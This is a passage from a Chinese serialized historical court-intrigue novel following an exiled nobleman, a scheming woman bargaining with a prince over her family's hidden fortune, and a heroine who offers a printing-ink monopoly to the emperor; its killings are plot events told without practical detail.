事实上,姜延辉被流放的地方应该是城外的某个村落,但是姜延辉抵达之后,只在这里住了不到三日,便直接搬入边城之中。 姜延辉是被流放,但是圣上看在姜太傅的面子上,所以并没有给予其它的刑罚,所以严格意义上来说,若姜延辉自己有财力,自然是可以在城内置宅的。 只是姜延辉的户籍是落在了村子里,而且那里还有姜家的两个老仆住着。 姜延辉出城后,又改马车,至于牛车,则是仍然慢悠悠地去了村子。 “吁!” 马车被叫停,车夫扭头道:“二爷,到了。” 马车停稳之后,姜延辉才从马车中出来,此时的他已然换上了一身华服,无论谁见到了,都会以为这是一位官老爷,或者是豪门大族家的老爷。 “二爷,您来了,里面都安排好了,那位齐先生已经被绑在前厅,等您发落。” 姜延辉点点头,面无表情地进去,随着他入内,阔气的大门又快速合上。 谁能想到,被流放的姜延辉,不仅有钱有产业,还能有这么多的心腹做事呢? 被缚双手的一个中年男子跪在前厅,腰是弯的,头也是低到了极限。 姜延辉落坐后,先慢悠悠地品着茶,一个眼神都没给地上的那位齐先生。 越是如此,齐先生越是惧怕。 不知何时,齐先生的下巴已经开始往下滴汗了。 “二爷,还请二爷饶命!” 姜延辉轻哼一声,只是一个音符,但是那里面却包含了满满的蔑视! “二爷,小人知错了,还请二爷饶我这一回,小人之后定然为二爷效犬马之劳,再不敢有半分异心。” 姜延辉似乎是听到了什么好笑之言,神色散漫中带着几分凉薄。 “你这个人也是有趣。先前姜家需要你做事时,你傲气得很!可是从姜家得了好处后,便又依附于我姜家。可是小齐呀,你千不该万不该,不该动了背刺我姜家的心思。你的命,定然是留不住的。” 齐先生脸色苍白,其实早料到会是这样一个结局了。 只是他不甘心呀,他也想让自己能活得更光明正大一些,更耀眼一些。 可是他出身造就了自己这一辈子都不可能翻身,他恨呀! “二爷,小人的命,您要就拿去,只求您能饶了我的家眷,只要能让他们活着,您说什么小人都答应。” “小齐呀,说你是天才吧,可是你又这般天真。到了这个时候,你觉得还有跟我讲条件的资本吗?” 齐先生顿时吓得嘴唇都成白色的了。 “东西在哪儿?” 齐先生的嘴唇一直在哆嗦,不知道是不是惊吓过度,竟是好半天没能发出一道声音来。 “把东西交出来,我保你家眷不死,但是需要此后隐姓埋名得活着,而且永生不得离开此地,更不可踏足京城,只要你们应下了,那此事便就此了结。” “答应!我们答应!” 姜延辉摇头:“你一人说的不算,我得让他们全都点头才行。” “小的一定劝服他们。” “很好,现在去把东西拿出来。” 齐先生身后的绳子仍然没解,有姜家的随从跟着出去,不到一刻钟,便又折返回来。 随从将一个小盒子交到姜延辉手上,之后退至一旁。 姜延辉确定这东西是真的之后,微微一笑:“杀了吧!” “是,二爷。” 齐先生却一下子瞪大眼睛:“二爷,您放话放了我的家眷呀,您答应过的!” “我答应什么了?” 齐先生的眼底闪过一抹难以置信,随即又似乎是想明白了一切,刚要发出一声苦笑或者是哀求,只觉得脖子一凉,眼前的一切也变得越来越模糊了。 姜延辉走出院子,低声吩咐道:“记住,不能留活口。最好是让人找不到证据。” “是,二爷。” 这里虽然是边城,姜家在此处了有几分势力,但不保证会不会有不长眼的东西主动凑上来。 所以,对于姜延辉而言,把痕迹抹干净,就很有必要了。 姜延辉回家之后,派人将自己的心腹叫过来。 “你回京城,给家中捎个口信,就说东西找到了,让他们放心。” “是,二爷。可要带信件回去?” 姜延辉想了想,还是到桌前写了几封家书,上面所写,都是再平常不过的思念之情,任谁看了都不会有其它的猜测。 重要的事情,不能留下证据,所以姜延辉才会让心腹给家里捎口信。 姜延辉这边派出去的人刚走两天,姜老夫人和宋氏安排人特意送过来的东西便到了。 宋氏其实知道夫君在边城这里生活得也不算太差,可她是儿媳妇,所以在公婆面前,还是要表现出很心疼夫君、思偏夫君的态度来。 如此,她在姜家的日子才能好过。 姜延辉看到都是一些日常起居之物后,便挥手让人入了库房。 “二爷,这是老夫人特意让小的给您带的。” 姜延辉接过来看了,是两块银铤,也不错,在这里也是可以换成铜钱花用的。 姜延辉如今不是官身,若是拿银铤出去花销,是要被官府追问的,虽然他不怕查,但总觉得还是麻烦了些。 宋氏就很贴心,特意给准备了两大箱子的铜钱过来,这么多,看着都舒心。 姜延辉看过宋氏给他写的信后,觉得儿子姜文祥的确是需要一条出路,有自己这么一个污点在,朝堂上不好混,甚至于能不能入仕都是两说呢。 不过宋氏想的法子不错,可以一试。 此时姜延辉有些后悔让人报信报得太早了。 早知道他们来,就应该多等两天的。 姜延辉提笔就长子的前程事宜做了回应,信中还特意嘱咐一句,要多听父亲的教诲。 其实就是在暗示宋氏,父亲不会眼睁睁看着不管的。 此时的姜延辉可不知道,他的妻子会给他带来一个多大的惊喜。 千里之外的京城姜府,如今已是闹得家宅不宁,鸡飞狗跳。 邓氏甚至还扬言要请族中长辈做主,还要去告姜延平一个宠妾灭妻的罪名! 第172章 我要做谢三郎的妻子 柱子带的一行人已经顺利地将粮食和药酒给谢将军送去,甚至还被谢将军单独召见了。 柱子心里头那叫一个激动呀,走路都顺拐了,说话还结巴了。 好在,谢将军原本就只是想要表达一下自己的谢意,并不在意这些细节。 柱子带着人在冀州城暂时安顿下来,然后让人去看看冀州有什么特产可以往京城带的,反正他们有那么多的马车呢,这次回去指定也得装得满满当当的,不然不就亏了吗? 暗处一直有人盯着柱子和他的手下,确定对方只是在购买冀州的一些特产后,便松懈很多。 至于柱子本人,则是很少出门,毕竟手底下有跑腿儿的,他也想窝在屋里头当大爷。 没有人知道,柱子会换了一身装扮,直接从住处的后门出去了。 柱子下巴上黏了假胡子,走路还故意装罗锅,这都是之前高大魁教的。 柱子腰间还挂了一个看起来沉甸甸的钱袋子,奔着边城最大的烟花楼去了。 老鸨子正好就在大堂,见到穿着贵气的生人,自然就主动迎上去:“哟,这位爷,瞧着面生呀,奴家先扶您进去喝杯茶!” “不必麻烦了。” 老鸨子一听这声音不对呀,听着不像是过来寻欢作乐的,怎么像是带着几分命令的口吻。 “这位爷,要不给您请两位姑娘过来坐陪?” 柱子两眼瞪得很大,凑近道:“八月桂花香,如今桂花糕做好了,我来取。” 老鸨子闻言一惊,随即左右看看后,便将人请到了一处雅间内。 “这位爷,桂花糕可不便宜,总不能您说拿走就拿走吧?” 柱子笑眯眯道:“当初说好的一锭金,我们不会食言。” 老鸨子眼睛倏地大亮,就差直接跳起来了。 “好好好,爷稍等,奴去去就来。” 柱子顺利地揣上东西,光明正大地离开了这烟花之地。 又两日后,柱子一行人直接返京。 柱子没有意识到,这一路上一直有人跟着他们,而且还不止是一伙人。 等到回京的时候,路上就只有一支商队跟着了,甚至于半路上,双方干脆就直接合为一个商队,这样人多,战斗力更强,遇上马匪也不会害怕了。 至于先前曾跟踪柱子的那几个游侠的尸体,此时都被扔在荒凉的山上喂狼了。 程媛这日又换上一身华服,对镜梳妆半晌,直至天黑,快要宵禁时,外面才传来敲门声。 老仆有些担忧:“姑娘,这么晚了,此时出门只怕不妥。” “嬷嬷放心,我此去是为了我们程家的平反一事,白日里对方也不方便与我约见。晚上正好商议,而且有齐世子和谢三郎在呢,没有人敢打我的主意。不过可能要等到天明后才能回来了,劳烦嬷嬷为我遮掩一二。” 老仆叹气,这要如何遮掩? 这不过是再普通不过的一处小院,连个后门都没有,你如今从前门出去,夜不归宿,难不成当别人都是瞎子吗? 可程媛是主子,她要做什么,老仆又如何能拦得住? 程媛虽然是进入忠王府了,但到底还是知道自己的底线在哪里,所以,她不会真地委身于某一个男人,就算是忠王,也不行。 因为程媛觉得自己是有底气的。 忠王想要成事,就需要自己手里头的东西。 “程姑娘,咱们已经是第三次见面了。条件你可以提,但是我要看到东西。” “王爷何必心急呢?我如今是落魄身,便是外出都只得着布衣,今日若非是仗着乘坐王府派出的马车,这般华丽的衣裳,我可不敢穿。” 话是这样说,但是程媛眼底的傲气却在跟她的话唱反调。 忠王也不恼,知道程媛有傲气的资本。 “听闻程公当年留下的家底都在你手上?” 程媛笑笑不语。 忠王也跟着笑了一声:“你想让我给程公平反?” 程媛不语,抬眼皮看他。 忠王则是苦笑摇头:“此事不成。当年的案子是父皇亲自下的旨,而且父皇能宽恕你们这些族人,就已经是天大的恩赐,程媛,不要挑战皇家的威仪!” 一旦程公平反,就意味着当年的事情皇上错了。 但这可能吗? 天下谁错,帝王都是不可能错的。 所以,忠王才直接说不可能。 程媛笑着摇头:“我可没说是要为他平反。我要荣华富贵,我要日后可以锦衣玉食,不再为生计发愁,我要一个如意郎君,可以逗我欢喜,这个要求过分吗?” 忠王挑眉,坦白说,不难。 但问题是这个锦衣玉食的标准在哪里呢? 身为女子,除了自己的家世带来的荣耀之外,她的身份基本上都是夫家给的。 比如说只有正三品以上的官员的夫人或者是母亲,才能称之为郡夫人,一品以上的官员的夫人或者是母亲,才能称之为国夫人。 而程媛是犯官之后,所以她不可能有任何的官家小姐待遇。 且有这样一重身份,哪家的贵公子敢娶她呢? 除非是不受家族重视的庶子或者是纨绔子。 “本王在京中西市有两处铺面,地段还不错,每个月的进帐都在十贯钱以上,直接划到你名下,如何?” 一个月十贯钱的进帐,不少了! 那可是一万钱! 但对于程媛的要求而言,好像是不算多。 忠王见她不说话,又笑道:“本王在万年县还有六百亩的良田,也一并送与姑娘,包括这六百亩良田的佃户。” 程媛抿唇浅笑:“我要做谢三郎的妻子。” 忠王闻言,面上微愣,随即便眯起眼来,暗骂这个程媛不识好歹。 谢三郎也是她能攀附的? “这个不行。” “王爷没试过,怎知不行呢?” “谢三郎早已有婚约,估计明年就会完婚。” “我知道,你说的是安信侯府的许昭昭。一个公府世子,一个侯府千金,倒也算是门当户对。但是凭什么呢?许昭昭不过尔尔,她如何配得上谢三郎!” 忠王心里翻个白眼儿,她配不上谁配得上?你吗? 要点儿脸吧! 程媛的上半身微微前倾:“王爷,只要能让我如愿,不仅那样东西是你的,而且我还可以让程家的死士为王爷效力!” 第173章 超级有钱的程媛 程媛的要求太过分了。 就冲着她一个犯官之后的身份,也不可能嫁给谢三郎,连做妾的资格都没有,正何况是正妻? 但忠王当然不会在此时激怒程媛,因为他还需要她手上的东西。 “这件事本王需要好好谋划,急不得。” “可以。” 程媛答应得很痛快,显然,她也知道自己提出来的要求是多么无礼。 可是她更知道,对于真正的权贵而言,再无礼的要求,只要他们想办,都能办成。 说句不中听的话,哪怕是直接给程媛换个身份,于他们而言都是轻而易举的。 忠王回到内宅之后,到底还是没忍住,将这件事情对王妃赵月说了。 之所以找王妃,而不是找姜孺人,就是因为他知道王妃家世更为雄厚,且是真正的高门贵女,自小习得的那些治家之法,绝对不是姜宁能比的。 赵月听罢之后,的确是并没有当回事。 “她太贪心了。而且如果是要等到她与谢三郎的婚事定下才答应将王爷要的东西交出来,那咱们就太亏了。” 这也正是忠王不乐意的地方。 “那依王妃之见?” “东西她现在可以不交出来,但是总得让咱们见见她的底气吗?什么都没有,就凭一张嘴,就想要这么大的回报,她就不怕再把自己撑着了?” 忠王点头,觉得有理。 “王爷放心,此事就交给妾来办吧。不过,妾还是要先问一句,王爷确定这个程媛身上有您想要的东西吗?” 忠王还真不确定,一切都是程媛自说自话,再加上的确是有杀手想要她的命,所以他才会怀疑到程媛身上。 “这个不好说,但是程媛的手上的确是握着一批死士,人数大概在三十人左右。” 赵月突然就笑了:“王爷,她从冀州到京城,这一路上被人追杀,结果自己没事,跟着的一位老妪都只是受了伤,您觉得是因为她的死士出手相救了,还是那些杀手的身份原本就不一般呢?” 忠王一愣,他还真没想到过这一层。 他一直以为,对方不弄死程媛,就是想逼她去找到程家的百年财富的藏匿之地,所以才会留着她一条命,想看她最后是不是能走至绝境。 现在听王妃这么一说,好像这两种可能都有啊! “王爷,除了那些死士之外,咱们还能得到什么好处呢?就算是程媛有那件信物,但是咱们也不能确定那些财物仍然安然无恙,所以妾以为,先让程媛吐出一些好处来,咱们再做打算。” “好,一切就依王妃所言。” 程媛接到忠王府的请贴,但是上面署名的却是姜孺人。 程媛听闻忠王十分宠爱这个姜孺人,想必也是特意安排姜孺人出面,然后好光明正大地跟自己见面吧。 姜宁的确是想要见见程媛,不过这些都是王爷交代的,要让她探探程媛的底,若是能让程媛先吐出一部分财物来,自然是最好的。 传闻当年宁国公府抄家,所查抄出来的财物与程家帐簿上的严重不符,大量的真金白银不知去向。 所以,这几年一直有人在暗中追查这批财物。 多方人马,都盯着呢。 那可不是小数。 程媛知道姜宁背后还有姜太师,若是真能和她搭上关系,总比总是去冒险见忠王要更好。 思来想去,程媛还是命老仆出去一趟,再回来的时候,老仆后面跟着一辆牛车,上面拉着几个箱子,然后一一缷下来。 缷货的时候,一人还不小心将箱子打翻,露出里面的一些明显的旧衣物。 如此一来,原本对着他们家悄摸打探的几户人家,也都缩了回去,还以为是铜钱呢,结果就这? 等到箱子抬入屋内,齐云泽安排的两名仆妇也都退了出去。 箱子不沉,确定不是什么金银之物。 只不过,她们显然还是太武断了。 老仆将屋门关好,然后一边碎碎念一边整理这些衣物,外面的几人听到她的嘟囔后,也都一脸嫌弃地各自散了。 等老仆看到院内再没有听墙根儿的,这才轻手轻脚地将一件团成一团的旧衣慢慢打开,露出里面的真容。 这旧衣不过就是幌子,三四件旧衣里面包裹着一件半尺来高的玉佛,一个箱子里面,就只装了这么一件玉佛,另外还有一双上面镶满了宝石珍珠的绣鞋。 那鞋子上的珍珠若是都抠下来,至少能给五口之家换来一年的口粮。 总共运回来四口箱子,老仆故意打翻的那一口箱子里面的的确确是装着旧衣 ,但是将里面的旧衣都取出来之后,露出下面的隔板。 这箱子另有乾坤! 将底下的隔板打开,露出六块金饼。 这金饼的分量并不重,一块约莫也就是半斤的样子,除此之外,还有一个扁平的小木盒。 取出来之后,里面则是几根木钗! 这可不是寻常的木钗,是价值不菲的金丝楠木所制! 一支木钗的价格,怕是能买得下一座小院子了。 程媛也是想着讨好姜宁,顺带着也让忠王知道,自己手里头是有真东西的,省得他再怀疑自己是说谎。 姜宁看到眼前的首饰时,只觉得颇为诧异。 两支名贵的金丝楠木所做的钗子,竟然就被她随意得拿一方帕子包着带过来了。 是连个首饰盒子都买不起吗? 姜宁想到现在程媛的处境,大概有所了解了。 十有八九,这是怕被人盯上。 “程姑娘不必客气,说来当年咱们也是见过的,只不过那时我们年纪都还小,又是在一些人多的场合,记不清楚了也是常事。” 身为大户人家的姑娘,一般过了七岁之后,就会减少出门的次数,一直到十三四时,才会又因为要议亲的缘故,可以适当地参加一些场合。 显然,程家出事时,程媛已经没有这个机会了。 “这尊玉佛,还请姜孺人能转交王爷,说来也是惭愧,听闻忠王仁孝,还曾多次亲手抄写佛经供于佛前,民女不过是一介布衣,且不信佛,所以这等好东西放在我那里也是暴殄天物,干脆就借此物呈于王爷,也算是民女的一份心意吧。” 第174章 势力被重挫的程媛 程媛和老仆刚刚走出二门,便被一名奴婢叫住。 程媛回头,见到对方手中捧着一个小匣子,一脸恭敬道:“程姑娘稍候,这是姜孺人特意命奴婢交给程姑娘的,还说日后若是得空,请姑娘多进府来陪陪我们姜孺人说话。” 程媛面上一喜,她就知道,姜宁一定会心动的。 而且这是自己离开之后特意交代送来的,兴许,是王爷当时就在暗处,待其亲眼见到那樽玉佛之后,这才想着要给自己回礼。 程媛满面春风地离开了。 姜孺人给她的是一匣子珍珠,个头很大,瞧着就不是普通的富贵人家能用得起的,更像是宫里头流出来的东西。 程媛思及忠王的身份,愈发觉得自己的目的能达成。 程媛没想到的是,次日许昭昭又不请自来。 有了上一次的教训,这一回程媛可不敢再主动去惹她,但是也别指望着她能给许昭昭一个好脸色。 这一次,许昭昭是想要知道程媛手中的那些死士到底还活着几个,程媛这样的人,心思不纯,若是有机会,还是应该将那些人诛杀干净。 许昭昭就像是过来和老朋友聊天的,程媛借着这个机会,还真查出来好几步程家死士的窝藏点。 她不过是想过来试试,哪知道程媛竟然真的知道。 既然如此,那就不客气了,谁让这个程媛胆敢与忠王搭上线呢。 许昭昭和忠王可是死敌,就冲着中间的一个姜宁,许昭昭与忠王府也是不死不休的关系。 只不过,这是许昭昭单方面看清楚的,忠王可是丝毫不知道暗地里已经有皇权之外的人将他当成必须灭掉的存在了。 许昭昭将事情交给了麦冬和紫苏去做,这二人既然是谢三郎送来的人手,总得给他们找些事情做,要不然,还以为自己是不信任他们呢。 程媛还在睡梦中,不知道外面已经有了动静,不到天明,县衙那边的衙役们就已经开始行动,有去查案的,还有去运送尸体的等等。 一夜之间,一处私宅着火,烧死一家八口,庆幸的是昨夜无风,所以后来火被扑灭时,并未曾殃及其它人家。 还有一处宅子里,发现总共三口人,全都死于中毒,经证实,这三人并非是一家人,但是同租下此处休息,这三人皆为壮男,年龄不超过三十岁。 但比较古怪的是,县尉查到一半,才发现死的这些人根本就没有户籍,好像是隐户,又好像是家奴。 就算是查出有户籍的几位行商,也查出那户籍是伪造的,总之,就是处处透着古怪。 这还只是看得见的。 还有看不见的,是有几具尸体,早已被运出城去,直接扔在了深山里喂狼。 程媛是于午后才知道消息的。 她在京城的人手原本就严重不足,不然也不会想要利用谢三郎和齐云泽。 可是谁能想到,一夜之间,她又失去一批人,如今还能为她做事的,竟是已经不足十人。 程媛只觉得脊背发凉。 她不知道对方是什么人,更不知道对方是通过什么手段查到了这些死士的藏身之处,现如今,她更是连大门都不敢出了。 “是谁?到底是谁出手这么狠,这是冲着我来的!” 老仆也隐约猜到了一些事,但是她不敢问,更不敢往深处想,只能安慰道:“姑娘,您先冷静,莫怕,咱们先想想会是什么人知道您在京城,又是什么人,担心您真地结交上权贵。” 这话可以说是直接就提醒程媛了。 可是她现在冷静不下来,虽然她狠,但她毕竟只是十几岁的姑娘,而且一直都是她在阴别人,何曾想到过有朝一日自己被别人阴了? 当初得到这批势力的时候,程媛可是颇为自大的。 她一度以为自己可以无所不能了。 尤其是当她可以利用那些人去影响到军营的时候,就觉得只要自己想,可以让整个冀州都听她号令! 当然,那只是起初时的狂妄无知。 后来谢三郎详查军中细作,最终清理掉程家埋在里面的三颗钉子之后,她就再也没有办法得知军营的一些动向了。 所以,她以为的,终究只是她以为。 也是那一次,让程媛真正的意识到了自己和谢三郎的差距,更是意识到绝对力量和权势面前,说什么都是徒劳。 正是因此,她才迫切地想要嫁入权贵之家,她想要权利,想要很多很多的权利。 程媛自认与那些只知女红、才艺的女子不同,她觉得自己可以活出让她们想都不敢想的样子。 但是没想到, 如今的自己,竟是越来越失败。 自己的底气,正在一点一点被消磨,她很快,就会失去所有的底牌。 “不,不能这样!我要振作!我还有忠王,对,我一定可以嫁给谢三郎,到了那个时候,整个京城,谁不羡慕我?便是亲王,也一样要拉拢谢家,到时候哪一个还敢看轻我!” 许昭昭一出手,就让谢铮察觉到不同。 因为麦冬最后在运尸的时候,用到了一点点谢府的人脉。 所以这件事,是瞒不过谢铮的。 事实上,这也是许昭昭的安排,特意让麦冬惊动谢铮,因为她需要知道谢铮的态度。 “你确定那些人是跟随程媛的死士?” 许昭昭慢悠悠地将茶杯放下:“确定。而且我还知道,在京城程媛还有帮手,明面儿上,她是靠上了忠王府,实际上,她还有死士,只是因为藏得太深,所以还没有被我挖出来。经过这一次,我相信程媛短时间内定然不敢再动那些死士了。” 谢铮觉得自己的三观在被重塑。 不是因为许昭昭会安排杀人,而是他以为的娇滴滴且刁蛮的程媛,竟然早就已经掌握了程家的死士。 “若是我不曾猜错的话,早在冀州时,她就应该动过心思,曾经启用过军营的暗探,是吗?” 谢铮神色一僵,随即想到自己查出来的那几个人,不由得怒从中来。 “她怎么敢的!” 面对谢铮这般的气愤,许昭昭却很平静:“她本来就是一个贪得无厌之人,为了达到目的,必然是不择手段。三郎,你该庆幸没让她进国公府的大门。” 第175章 他的儿女自然也跟朕亲近! 印刷术的事,到底还是惊动了宫中。 旁人查不出这一切与许昭昭有关,但是皇帝不可能查不出来,哪怕是皇帝用最笨的法子,一个一个地抓起来审,也能查出来许昭昭在背后的作用。 所以,从一开始,许昭昭就没打算隐瞒。 而且她也没有大范围地使用这种印刷术,主要也是想要等得到了帝王召见之后再做打算。 事实上,印刷术并不稀奇,早就有了,但是一直没能推广下去,最大的原因,也不是雕版困难,虽然雕版费功夫,但是一般情况下还是可以收入不菲的,至于对于那些书商而言,收益很可观。 真正让印刷术得到掣肘的原因,是因为油墨的问题。 很多的印刷局做出来的东西,经常会字迹模糊,有时候甚至是晕染,还有的则是深浅不一,这很影响阅读体验。 所以,印刷术并没有得到特别有限的推广,也正是因此,所以很多书铺还是会用一些学子来抄书。 看似是给学子们提供了一份谋生的门路,实际上,也不过就是为了压榨他们罢了。 试想一下,若是秀才郎一个月里抄上几本书,那要耽搁多少时间在这个上面?还如何专心读书作文章? 再者,若不是秀才郎,他们抄一本书的价钱也并不是那么高,这其中还涉及到了笔墨纸砚。 有些有良心的书铺,自然是愿意给高些的价钱,或者是再免费提供其中的一两项东西,但更多的书铺,还是想要更多的利润的。 那些贫寒学子无奈之下,再低的价格,也只得选择这条路。 他们手无缚鸡之力,苦力做不了,那就只等做一些类似的营生。 许昭昭被召入宫中问话,许翰是陪着一起的,同行的还有夫人王若兰,不过她是被曲皇后叫到后宫说话。 “许昭昭,朕就问得直白一些,这些价格低谦却又字迹清晰的印刷书,可是你所为?” “回陛下,臣女不敢欺瞒君上,的确是出自臣女手下的工匠之手,不过当时臣女没想太多,只因为见过三哥的一些同窗囊中羞涩,常常因书藉太贵买不起而被人耻笑,所以才想着在市面上推广。” 永安帝大笑:“你倒是实诚。那你说说,这印刷术你打算如何用?” “回禀陛下,其实臣女也没想好,而且之前几位兄长也曾跟臣女商议过,他们的意思是最好是能交给朝廷,一切由朝廷出面,行事更为稳妥,且朝廷出手,力度最猛,可以惠及我大兴所有读书人。” 永安帝心情大好,眼底满是赞赏。 “许翰,你生了个好女儿呀!” “嘿嘿,多谢陛下夸奖,臣也觉得昭昭很好。” 永安帝看着他那傻乎乎的样子,就知道这货的宠女心态又爆发了。 “许昭昭,朕再问你一次,你可想好了?当真愿意无偿献于朝廷?” “回禀陛下,臣女不敢撒谎,只是臣女希望陛下能答应臣女,日后臣女名下的铺面也能继续用,而且臣女以为活字印刷术并不稀奇,便是传出去了也无妨,朝廷若是要做,不妨就只做这油墨的生意便好。” 永安帝眼睛一亮,这的确是个法子。 如今边关不稳,时常有异族袭边,大兴朝养着几十万的大军,这一天的嚼用就是多少钱呀! 所以,国库里头再充盈,也架不住有战事。 打仗嘛,最怕的就是缺钱缺粮。 “言之有理,来人,召户部尚书顾东阳勤见。另,拟旨,王长庚行事稳重,升工部左侍郎。” “遵旨。” 许翰站在一旁只会呵呵地笑。 他自己升不升官好说,反正他也不乐意上朝,每回开大朝会他都会睡着,再不然就是跟一帮子文人吵的天翻地覆的,反正他就是不喜欢坐衙。 现在陛下关注自己的大舅哥,这是好事,反正都是自家人。 永安帝见许翰还在那里笑,许昭昭表情也很柔和,而且看得出来她很满意,好像没有其它要求了,不由得就更是欢喜。 若他手底下都是这样的臣子,那该多好呀! “许翰,你女儿立功了,你就不想在朕这里讨个赏?” 许翰愣了一瞬,随即头摇得跟拨浪鼓似的:“不想!微臣是武将,微臣升官那也应该是在战场上拼杀出来的功绩,微臣可不是那等软脚虾,咋能吃软饭呢!” “哈哈!” 永安帝爆发出了数日来最大的一阵笑声,门外候着的几位内侍们不约而同地抖了一下身子,暗暗琢磨着,许家这是简在帝心呀! 往后许家人再进宫,那可得长点眼力见儿。 顾东阳被叫过来,紧接着王长庚也进宫了,皇帝虽然高兴,但实际上办差的还是底下人,所以,他就想着将这件事情交给工部来做,但是这个收益要怎么算,是收税还是全都归于国库,这就得好好商议了。 因为不涉及其它的衙门,所以皇帝没想着把所有的三品大员都叫过来。 一是觉得没必要,二来也是觉得这等事情,还是需要保密的。 能闷声发大财,这种感觉还是很爽的! 王长庚还一脸迷茫呢,怎么就有新油墨了? 谁给的配方? 怎么自己就成工部左侍郎了? 王长庚先前一直在清水衙门,突然一下子成为工部的半个领头人,还真有些不适应了。 皇帝看他这个反应,就知道他也不知情,甚至不知道如今市面儿上卖得最好最便宜的印刷书就是他的亲外甥女搞出来的。 呵呵,一想到还是他这个当皇帝的先知道的,心里头就升出几分优越感! 哼,你就算是亲舅舅又如何? 朕与许侯可是打小的情谊,许侯亲近朕,他的孩子们自然也亲近朕! 也不知道为什么,永安帝突然就生出这般诡异的胜负感了。 事情敲定,许翰带着许昭昭往外走,没有皇后的宣诏,许昭昭也是不可以随意进入后宫的,所以他们父女只能到宫门外等候。 王长庚三两步追上这父女俩,总算是弄清楚是怎么回事了。 “你这丫头,胆子倒是大!若是再有下回,定要先让你父亲呈至御前,被允可后再做,日后莫要再如此了。” 第176章 再大赚一笔! 许昭昭点头认错:“是,当时也没多想,所以便让人做出来试试,之后就想着反正已经印出来这么多书,干脆就投放到市面上试一下效果,结果谁能想到,会得到那些学子们的大力追捧呢?” 王长庚无奈道:“能不追捧吗?这里面可是差了多少钱的!不过,此事还是勿要声张,如今几家世族都在想法子打听出幕后之人呢,你近来也要小心行事,最好是就待在府中。” “舅舅放心,昭昭晓得的。而且当初做这件事,也并非是我一家独大,不少地方豪族都参与进来呢,所以就算是有人想要报复,也得掂量一下能不能承受诸家的怒火!” 王长庚笑着摇头,不得不说,这个外甥女是真聪明。 她结盟的是地方豪族,而且还是特意挑拣过地方的。 她不与那些鼎盛的世家合作,就是知道此举会引发帝王的不满。 许昭昭找的都是一些势力相当薄弱一些的大家族,如此一来,几方联手,就算是顶级世家想要报复他们,也得好好想一想,能不能对付得了这么多家。 更何况,如今这活字印刷术再加上油墨一事,都在帝王面前过了明路,等于是朝廷之物,所以,那些人再生气,又能如何? 许昭昭这样做,也算是误打误撞地正好对上皇帝现下的国策,所以才能得到嘉奖。 王长庚不知道的是,这一切都在许昭昭的算计之中。 之所以自己先来一波,一是为了借此机会打击邓家,正好让邓家彻底地退出勋贵视线;二是为了借力打力,如此一来,才能引得圣上的注意。 如今一切都按照她的计划来,朝廷已经出面了,那后面的一切就都与许昭昭无关了。 但是他们先前的生意还是该做正常做,不受影响,只是油墨这东西,日后就得找朝廷买了。 当然,许昭昭除外。 她得了特许,毕竟这方子就是她献上的,永安帝没道理不答应她。 回到家,许昭昭命人将高大魁找来。 “你差人奔赴各地,告知他们一声,就说油墨的配方由朝廷接管,日后不得私下制作、售卖,让他们本月内适当地多囤些货,但有上限,每家的订单量不得超过一百贯钱。” “是,主子。” “另外,再送个消息给他们,就说虽然利润比不得从前了,但是只要好好经营,仍然是有利可图,只要他们安分守己,朝廷自然不会与他们过不去,下个月,我会再介绍一笔新生意给他们,前提是,莫要与朝廷为敌,当知道自己的本分。” “是,小的一定把话带到。” “你家大郎如何恢复得如何?” “托小姐的福,一切都在往好的方向走,守信现在已经隐约能记起一些小时候的事了,大夫说只要假以时日,定然能全都恢复。” “如此甚好。他的身子没有问题了吧?” “回小姐,都养好了。” 许昭昭点点头,还是觉得高守信岁数有些小,用他的话,总觉得有心理负担。 “长生现在何处?” 高大魁愣了一下,没料到小姐突然就提及别人。 “回小姐,长生现在就在府里打杂,按您先前的吩咐,每天让他学十个字,学不会就要打手板,所以这小子如今学得还不错。” “只识字可不行,他可学算学了?” “都有在教,他和守信一起学呢,不过听说他脑子转的快,算学比守信学得好。” 许昭昭听到这里,倒是对高大魁高看一眼。 两个孩子一起学东西,高大魁没有因为自己的儿子就贬低长生,可见是个老实人。 “只是单纯的死记硬背也不成,往后让他们两个跟在忠叔身边,忠叔年纪大了,就让他们两个当个跑腿儿的,学些待人接物的活,日后字认得差不多了,便可以再有别的安排。” 高大魁一开始不明白,待他走出紫园之后,好像一下子就想明白了。 忠叔可是这侯府地位最高的家仆。 说家仆也不全对,许忠以前也是跟在侯爷身边的亲兵呢,而且还曾在战场上救过侯爷的命,要不然侯爷也不能这般信任他,让他做了管家。 两个孩子能跟在管家身边做事,而且小姐还特意提到让他们好好学,那就意味着日后是要放他们两个出去单独管事的。 啧,这两个小子倒是好运气,能遇上小姐这样开明又大方的主子。 高大魁越想越高兴,一路上都在咧着嘴笑。 自那日后,管家忠叔身边就多了两个小跟班,他们甚至还会给忠叔捶背倒茶,表现得相当积极。 许昭昭见二人如此机灵,倒是觉得可以培养。 只是高守信明显没有长生那么灵活,或许是与他们之前十几年的生活境遇有关。 长生以前就是个乞儿,最会察颜观色,受到过世间最残忍的羞辱,所以把一张脸皮也磨出来了。 许昭昭觉得这两人再好好培养两年,应该就能跟刚开始的柱子差不多了。 油墨的事情敲定,许昭昭在朝廷未曾正式公布之前,又大赚一笔,接下来,就跟自己没有关系了。 但是只有她自己的印刷成本最低,说到底,这一行中最赚钱的,还是她。 国家这样的庞大的机器一旦运转起来,那是相当惊人的。 高大魁安排的几位匠人,不到一天的功夫,就把工部的二十多人教会了,接下来就各自领了赏钱再度回到工坊。 一切安排妥当,柱子一行人也终于回来了。 柱子将东西奉上,一路上他的一颗心都是提着的。 他不知道这盒子里是什么东西,上面有锁,他没有钥匙,而且是主子点名要的东西,他也没那个胆子看。 但是这一路上的好奇心,还是时有兴起。 好在,他还是管住了自己的手。 “差事办的不错,丁香,去小库房拿一匹粉色的棉布过来,再取一贯钱、一对银镯子给柱子。” “是,小姐。” 柱子闻言后,小脸儿微红,低着头:“谢主子赏!” 许昭昭起了逗弄他的心思:“这可都是小娘子们用的东西,我也多嘴问一句,你打算送给哪一位呀?” 第177章 去查查真伪 柱子一听脸更红了。 “主子就莫要打趣小的了,小的倒是有中意的人,但是可惜人家瞧不上我。主子赏赐的东西,小的是想着去送给姐姐的。” 这话让许昭昭微怔,她之所以有此一问,原本就是听闻他近来常去平康坊,还以为是在那里有了相好的,万万没想到,竟然是这么个答案。 “你姐姐?是亲姐姐吗?” “回主子,正好小的今日过来也是特意将这件事禀报您的。小的找到了失散多年的姐姐,不过姐姐已经嫁人了,而且如今都有了娃。” “你姐姐可在京城?” 